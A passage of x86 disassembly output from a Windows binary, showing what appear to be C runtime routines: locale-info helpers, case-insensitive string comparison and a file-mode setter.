arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		cmp	[ebp+arg_0], 1
		jnz	loc_43AB79
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_90], eax
		lea	ecx, [ebp+var_8C]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_94], 80h
		push	0
		mov	edx, [ebp+var_94]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_43C240
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	loc_43AAFF
		nop
		call	near ptr 27B0F7Fh
		cmp	eax, 7Ah
		jz	short loc_43AA80
		jmp	loc_43AB5D
; ---------------------------------------------------------------------------


loc_43AA80:				; CODE XREF: sub_43AA10+69j
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_43C240
		add	esp, 14h
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 0
		jnz	short loc_43AAAA
		jmp	loc_43AB5D
; ---------------------------------------------------------------------------


loc_43AAAA:				; CODE XREF: sub_43AA10+93j
		push	58h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	edx, [ebp+var_94]
		push	edx
		call	sub_41EDD0
		add	esp, 10h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_43AAD0
		jmp	loc_43AB5D
; ---------------------------------------------------------------------------


loc_43AAD0:				; CODE XREF: sub_43AA10+B9j
		mov	[ebp+var_4], 1
		push	0
		mov	eax, [ebp+var_94]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_43C240
		add	esp, 14h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43AAFF
		jmp	short loc_43AB5D
; ---------------------------------------------------------------------------


loc_43AAFF:				; CODE XREF: sub_43AA10+5Aj
					; sub_43AA10+EBj
		push	63h
		push	offset aInithelp_c ; "inithelp.c"
		push	2
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41EDD0
		add	esp, 10h
		mov	edx, [ebp+var_90]
		mov	[edx], eax
		mov	eax, [ebp+var_90]
		cmp	dword ptr [eax], 0
		jnz	short loc_43AB29
		jmp	short loc_43AB5D
; ---------------------------------------------------------------------------


loc_43AB29:				; CODE XREF: sub_43AA10+115j
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+var_90]
		mov	ecx, [eax]
		push	ecx
		call	sub_421470
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jz	short loc_43AB56
		push	2
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_41F970
		add	esp, 8


loc_43AB56:				; CODE XREF: sub_43AA10+136j
		xor	eax, eax
		jmp	loc_43AC96
; ---------------------------------------------------------------------------


loc_43AB5D:				; CODE XREF: sub_43AA10+6Bj
					; sub_43AA10+95j ...
		cmp	[ebp+var_4], 0
		jz	short loc_43AB71
		push	2
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41F970
		add	esp, 8


loc_43AB71:				; CODE XREF: sub_43AA10+151j
		or	eax, 0FFFFFFFFh
		jmp	loc_43AC96
; ---------------------------------------------------------------------------


loc_43AB79:				; CODE XREF: sub_43AA10+Dj
		cmp	[ebp+arg_0], 0
		jnz	loc_43AC93
		mov	[ebp+var_A4], 4
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_9C], ecx
		push	0
		mov	edx, [ebp+var_A4]
		push	edx
		push	offset byte_4E94A0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_43C0A0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43ABC0
		or	eax, 0FFFFFFFFh
		jmp	loc_43AC96
; ---------------------------------------------------------------------------


loc_43ABC0:				; CODE XREF: sub_43AA10+1A6j
		mov	edx, [ebp+var_9C]
		mov	byte ptr [edx],	0
		mov	[ebp+var_A0], 0
		jmp	short loc_43ABE4
; ---------------------------------------------------------------------------


loc_43ABD5:				; CODE XREF: sub_43AA10:loc_43AC8Aj
		mov	eax, [ebp+var_A0]
		add	eax, 1
		mov	[ebp+var_A0], eax


loc_43ABE4:				; CODE XREF: sub_43AA10+1C3j
		cmp	[ebp+var_A0], 4
		jge	loc_43AC8F
		cmp	dword_4524F0, 1
		jle	short loc_43AC2B
		push	4
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4E94A0[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		push	eax
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_A8], eax
		jmp	short loc_43AC5E
; ---------------------------------------------------------------------------


loc_43AC2B:				; CODE XREF: sub_43AA10+1E8j
		mov	ecx, [ebp+var_A0]
		mov	dl, byte_4E94A0[ecx*2]
		mov	byte ptr [ebp+var_98], dl
		mov	eax, [ebp+var_98]
		and	eax, 0FFh
		mov	ecx, off_4522E4
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_A8], edx


loc_43AC5E:				; CODE XREF: sub_43AA10+219j
		cmp	[ebp+var_A8], 0
		jz	short loc_43AC88
		mov	eax, [ebp+var_9C]
		movsx	ecx, byte ptr [eax]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_98]
		lea	eax, [ecx+edx-30h]
		mov	ecx, [ebp+var_9C]
		mov	[ecx], al
		jmp	short loc_43AC8A
; ---------------------------------------------------------------------------


loc_43AC88:				; CODE XREF: sub_43AA10+255j
		jmp	short loc_43AC8F
; ---------------------------------------------------------------------------


loc_43AC8A:				; CODE XREF: sub_43AA10+276j
		jmp	loc_43ABD5
; ---------------------------------------------------------------------------


loc_43AC8F:				; CODE XREF: sub_43AA10+1DBj
					; sub_43AA10:loc_43AC88j
		xor	eax, eax
		jmp	short loc_43AC96
; ---------------------------------------------------------------------------


loc_43AC93:				; CODE XREF: sub_43AA10+16Dj
		or	eax, 0FFFFFFFFh


loc_43AC96:				; CODE XREF: sub_43AA10+148j
					; sub_43AA10+164j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_43AA10	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, off_453408
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ACB0	proc near		; CODE XREF: sub_436B90+216p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43FF78
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4E94AC, 0
		jnz	short loc_43AD2E
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	offset dword_43F390
		push	1
		call	near ptr 277053Eh
		nop
		test	eax, eax
		jz	short loc_43AD02
		mov	dword_4E94AC, 1
		jmp	short loc_43AD2E
; ---------------------------------------------------------------------------


loc_43AD02:				; CODE XREF: sub_43ACB0+44j
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	1
		push	offset dword_43F38C
		push	1
		push	0
		call	near ptr 2780000h
		nop
		test	eax, eax
		jz	short loc_43AD27
		mov	dword_4E94AC, 2
		jmp	short loc_43AD2E
; ---------------------------------------------------------------------------


loc_43AD27:				; CODE XREF: sub_43ACB0+69j
		xor	eax, eax
		jmp	loc_43AF09
; ---------------------------------------------------------------------------


loc_43AD2E:				; CODE XREF: sub_43ACB0+2Dj
					; sub_43ACB0+50j ...
		cmp	dword_4E94AC, 1
		jnz	short loc_43AD52
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	near ptr 277053Eh
		nop
		jmp	loc_43AF09
; ---------------------------------------------------------------------------


loc_43AD52:				; CODE XREF: sub_43ACB0+85j
		cmp	dword_4E94AC, 2
		jnz	loc_43AF07
		cmp	[ebp+arg_10], 0
		jnz	short loc_43AD6D
		mov	eax, dword_4E92F4
		mov	[ebp+arg_10], eax


loc_43AD6D:				; CODE XREF: sub_43ACB0+B3j
		push	0
		push	0
		push	0
		push	0
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		push	220h
		mov	eax, [ebp+arg_10]
		push	eax
		call	near ptr 290039Dh
		nop
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_43AD9C
		xor	eax, eax
		jmp	loc_43AF09
; ---------------------------------------------------------------------------


loc_43AD9C:				; CODE XREF: sub_43ACB0+E3j
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_28]
		add	eax, 3
		and	al, 0FCh
		call	sub_421EE0
		mov	[ebp+var_30], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_30]
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_28]
		push	edx
		push	0
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_43ADEE
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_2C], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_43ADEE:				; CODE XREF: sub_43ACB0+125j
		cmp	[ebp+var_2C], 0
		jnz	short loc_43ADFB
		xor	eax, eax
		jmp	loc_43AF09
; ---------------------------------------------------------------------------


loc_43ADFB:				; CODE XREF: sub_43ACB0+142j
		push	0
		push	0
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	220h
		mov	edx, [ebp+arg_10]
		push	edx
		nop
		call	near ptr 290039Dh
		test	eax, eax
		jnz	short loc_43AE29
		xor	eax, eax
		jmp	loc_43AF09
; ---------------------------------------------------------------------------


loc_43AE29:				; CODE XREF: sub_43ACB0+170j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_421EE0
		mov	[ebp+var_34], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_43AE6D
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_43AE6D:				; CODE XREF: sub_43ACB0+1A4j
		cmp	[ebp+var_24], 0
		jnz	short loc_43AE7A
		xor	eax, eax
		jmp	loc_43AF09
; ---------------------------------------------------------------------------


loc_43AE7A:				; CODE XREF: sub_43ACB0+1C1j
		cmp	[ebp+arg_14], 0
		jnz	short loc_43AE89
		mov	edx, dword_4E92E4
		mov	[ebp+arg_14], edx


loc_43AE89:				; CODE XREF: sub_43ACB0+1CEj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		mov	word ptr [ecx+eax*2], 0FFFFh
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_24]
		mov	word ptr [eax+edx*2-2],	0FFFFh
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		nop
		call	near ptr 2780000h
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		xor	edx, edx
		mov	dx, [ecx+eax*2-2]
		cmp	edx, 0FFFFh
		jz	short loc_43AEE8
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_24]
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		cmp	edx, 0FFFFh
		jz	short loc_43AEEC


loc_43AEE8:				; CODE XREF: sub_43ACB0+222j
		xor	eax, eax
		jmp	short loc_43AF09
; ---------------------------------------------------------------------------


loc_43AEEC:				; CODE XREF: sub_43ACB0+236j
		mov	eax, [ebp+arg_8]
		shl	eax, 1
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_4237A0
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_43AF09
; ---------------------------------------------------------------------------


loc_43AF07:				; CODE XREF: sub_43ACB0+A9j
		xor	eax, eax


loc_43AF09:				; CODE XREF: sub_43ACB0+79j
					; sub_43ACB0+9Dj ...
		lea	esp, [ebp-40h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43ACB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AF20	proc near		; CODE XREF: sub_4371C0+40p
					; sub_437310+5Fp ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4E92DC
		cmp	dword ptr [eax+8], 0
		jnz	short loc_43AF73
		mov	al, 0FFh
		mov	edi, edi


loc_43AF3C:				; CODE XREF: sub_43AF20+28j
					; sub_43AF20+48j
		or	al, al
		jz	short loc_43AF6E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_43AF3C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_43AF3C
		sbb	al, al
		sbb	al, 0FFh


loc_43AF6E:				; CODE XREF: sub_43AF20+1Ej
		movsx	eax, al
		jmp	short loc_43AFEB
; ---------------------------------------------------------------------------


loc_43AF73:				; CODE XREF: sub_43AF20+16j
		lock inc dword_4E96A8
		cmp	dword_4E96A4, 0
		jg	short loc_43AF87
		push	0
		jmp	short loc_43AF9C
; ---------------------------------------------------------------------------


loc_43AF87:				; CODE XREF: sub_43AF20+61j
		lock dec dword_4E96A8
		push	13h
		call	sub_425990
		mov	[esp+10h+var_10], 1


loc_43AF9C:				; CODE XREF: sub_43AF20+65j
		mov	eax, 0FFh
		xor	ebx, ebx
		nop


loc_43AFA4:				; CODE XREF: sub_43AF20+90j
					; sub_43AF20+A8j
		or	al, al
		jz	short loc_43AFCF
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_43AFA4
		push	eax
		push	ebx
		call	sub_424440
		mov	ebx, eax
		add	esp, 4
		call	sub_424440
		add	esp, 4
		cmp	bl, al
		jz	short loc_43AFA4
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_43AFCF:				; CODE XREF: sub_43AF20+86j
		mov	ebx, eax
		pop	eax
		or	eax, eax
		jnz	short loc_43AFDF
		lock dec dword_4E96A8
		jmp	short loc_43AFE9
; ---------------------------------------------------------------------------


loc_43AFDF:				; CODE XREF: sub_43AF20+B4j
		push	13h
		call	sub_425A30
		add	esp, 4


loc_43AFE9:				; CODE XREF: sub_43AF20+BDj
		mov	eax, ebx


loc_43AFEB:				; CODE XREF: sub_43AF20+51j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_43AF20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AFF0	proc near		; CODE XREF: sub_437310+11Bp
					; sub_437310+2D4p ...

var_10		= dword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		or	ecx, ecx
		jz	loc_43B0EA
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		lea	eax, dword_4E92DC
		cmp	dword ptr [eax+8], 0
		jnz	short loc_43B061
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_43B01C:				; CODE XREF: sub_43AFF0+53j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_43B045
		or	al, al
		jz	short loc_43B045
		inc	esi
		inc	edi
		cmp	ah, bh
		jb	short loc_43B034
		cmp	ah, bl
		ja	short loc_43B034
		add	ah, dh


loc_43B034:				; CODE XREF: sub_43AFF0+3Cj
					; sub_43AFF0+40j
		cmp	al, bh
		jb	short loc_43B03E
		cmp	al, bl
		ja	short loc_43B03E
		add	al, dh


loc_43B03E:				; CODE XREF: sub_43AFF0+46j
					; sub_43AFF0+4Aj
		cmp	ah, al
		jnz	short loc_43B04F
		dec	ecx
		jnz	short loc_43B01C


loc_43B045:				; CODE XREF: sub_43AFF0+32j
					; sub_43AFF0+36j
		xor	ecx, ecx
		cmp	ah, al
		jz	loc_43B0EA


loc_43B04F:				; CODE XREF: sub_43AFF0+50j
		mov	ecx, 0FFFFFFFFh
		jb	loc_43B0EA
		neg	ecx
		jmp	loc_43B0EA
; ---------------------------------------------------------------------------


loc_43B061:				; CODE XREF: sub_43AFF0+21j
		lock inc dword_4E96A8
		cmp	dword_4E96A4, 0
		jg	short loc_43B075
		push	0
		jmp	short loc_43B08E
; ---------------------------------------------------------------------------


loc_43B075:				; CODE XREF: sub_43AFF0+7Fj
		lock dec dword_4E96A8
		mov	ebx, ecx
		push	13h
		call	sub_425990
		mov	[esp+10h+var_10], 1
		mov	ecx, ebx


loc_43B08E:				; CODE XREF: sub_43AFF0+83j
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, edi


loc_43B094:				; CODE XREF: sub_43AFF0+CDj
		mov	al, [esi]
		or	eax, eax
		mov	bl, [edi]
		jz	short loc_43B0BF
		or	ebx, ebx
		jz	short loc_43B0BF
		inc	esi
		inc	edi
		push	ecx
		push	eax
		push	ebx
		call	sub_424440
		mov	ebx, eax
		add	esp, 4
		call	sub_424440
		add	esp, 4
		pop	ecx
		cmp	eax, ebx
		jnz	short loc_43B0C5
		dec	ecx
		jnz	short loc_43B094


loc_43B0BF:				; CODE XREF: sub_43AFF0+AAj
					; sub_43AFF0+AEj
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_43B0CE


loc_43B0C5:				; CODE XREF: sub_43AFF0+CAj
		mov	ecx, 0FFFFFFFFh
		jb	short loc_43B0CE
		neg	ecx


loc_43B0CE:				; CODE XREF: sub_43AFF0+D3j
					; sub_43AFF0+DAj
		pop	eax
		or	eax, eax
		jnz	short loc_43B0DC
		lock dec dword_4E96A8
		jmp	short loc_43B0EA
; ---------------------------------------------------------------------------


loc_43B0DC:				; CODE XREF: sub_43AFF0+E1j
		mov	ebx, ecx
		push	13h
		call	sub_425A30
		add	esp, 4
		mov	ecx, ebx


loc_43B0EA:				; CODE XREF: sub_43AFF0+Bj
					; sub_43AFF0+59j ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_43AFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, dword_4E96A0
		jnb	short loc_43B131
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_43B141


loc_43B131:				; CODE XREF: .XComp0:0043B10Dj
		call	sub_42C1E0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_43B16F
; ---------------------------------------------------------------------------


loc_43B141:				; CODE XREF: .XComp0:0043B12Fj
		mov	edx, [ebp+8]
		push	edx
		call	sub_4336D0
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_43B180
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_433760
		add	esp, 4
		mov	eax, [ebp-4]


loc_43B16F:				; CODE XREF: .XComp0:0043B13Fj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B180	proc near		; CODE XREF: sub_437FD0+D4p
					; sub_437FD0+1A6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 80h
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_4], 8000h
		jnz	short loc_43B1E9
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4E95A0[ecx*4]
		mov	cl, [eax+edx+4]
		and	cl, 7Fh
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4E95A0[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_43B23A
; ---------------------------------------------------------------------------


loc_43B1E9:				; CODE XREF: sub_43B180+2Ej
		cmp	[ebp+arg_4], 4000h
		jnz	short loc_43B22A
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4E95A0[eax*4]
		mov	al, [edx+ecx+4]
		or	al, 80h
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, dword_4E95A0[ecx*4]
		mov	[ecx+edx+4], al
		jmp	short loc_43B23A
; ---------------------------------------------------------------------------


loc_43B22A:				; CODE XREF: sub_43B180+70j
		call	sub_42C1E0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	short loc_43B24B
; ---------------------------------------------------------------------------


loc_43B23A:				; CODE XREF: sub_43B180+67j
					; sub_43B180+A8j
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFC000h
		add	eax, 8000h


loc_43B24B:				; CODE XREF: sub_43B180+B8j
		mov	esp, ebp
		pop	ebp
		retn
sub_43B180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B250	proc near		; CODE XREF: sub_439080+2B5p
					; sub_43B690+B5p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	word ptr [ebp+var_2C], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+0Ah]
		mov	word ptr [ebp+var_18], cx
		mov	edx, [ebp+arg_4]
		mov	ax, [edx+0Ah]
		mov	word ptr [ebp+var_20], ax
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		xor	ecx, edx
		and	ecx, 8000h
		mov	word ptr [ebp+var_2C], cx
		mov	ax, word ptr [ebp+var_18]
		and	ax, 7FFFh
		mov	word ptr [ebp+var_18], ax
		mov	cx, word ptr [ebp+var_20]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_20], cx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_20]
		and	eax, 0FFFFh
		add	edx, eax
		mov	word ptr [ebp+var_30], dx
		mov	ecx, [ebp+var_18]
		and	ecx, 0FFFFh
		cmp	ecx, 7FFFh
		jge	short loc_43B30D
		mov	edx, [ebp+var_20]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jge	short loc_43B30D
		mov	eax, [ebp+var_30]
		and	eax, 0FFFFh
		cmp	eax, 0BFFDh
		jle	short loc_43B344


loc_43B30D:				; CODE XREF: sub_43B250+9Bj
					; sub_43B250+ACj
		mov	ecx, [ebp+var_2C]
		and	ecx, 0FFFFh
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		jmp	loc_43B689
; ---------------------------------------------------------------------------


loc_43B344:				; CODE XREF: sub_43B250+BBj
		mov	edx, [ebp+var_30]
		and	edx, 0FFFFh
		cmp	edx, 3FBFh
		jg	short loc_43B377
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 0
		jmp	loc_43B689
; ---------------------------------------------------------------------------


loc_43B377:				; CODE XREF: sub_43B250+103j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		test	eax, eax
		jnz	short loc_43B3BD
		mov	cx, word ptr [ebp+var_30]
		add	cx, 1
		mov	word ptr [ebp+var_30], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	eax, 7FFFFFFFh
		test	eax, eax
		jnz	short loc_43B3BD
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_43B3BD
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0
		jnz	short loc_43B3BD
		mov	eax, [ebp+arg_0]
		mov	word ptr [eax+0Ah], 0
		jmp	loc_43B689
; ---------------------------------------------------------------------------


loc_43B3BD:				; CODE XREF: sub_43B250+131j
					; sub_43B250+14Cj ...
		mov	ecx, [ebp+var_20]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jnz	short loc_43B419
		mov	dx, word ptr [ebp+var_30]
		add	dx, 1
		mov	word ptr [ebp+var_30], dx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		and	ecx, 7FFFFFFFh
		test	ecx, ecx
		jnz	short loc_43B419
		mov	edx, [ebp+arg_4]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_43B419
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_43B419
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 0
		jmp	loc_43B689
; ---------------------------------------------------------------------------


loc_43B419:				; CODE XREF: sub_43B250+178j
					; sub_43B250+194j ...
		mov	[ebp+var_28], 0
		mov	[ebp+var_1C], 0
		jmp	short loc_43B432
; ---------------------------------------------------------------------------


loc_43B429:				; CODE XREF: sub_43B250+29Cj
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx


loc_43B432:				; CODE XREF: sub_43B250+1D7j
		cmp	[ebp+var_1C], 5
		jge	loc_43B4F1
		mov	edx, [ebp+var_1C]
		shl	edx, 1
		mov	[ebp+var_24], edx
		mov	[ebp+var_8], 8
		mov	eax, 5
		sub	eax, [ebp+var_1C]
		mov	[ebp+var_34], eax
		jmp	short loc_43B461
; ---------------------------------------------------------------------------


loc_43B458:				; CODE XREF: sub_43B250+28Ej
		mov	ecx, [ebp+var_34]
		sub	ecx, 1
		mov	[ebp+var_34], ecx


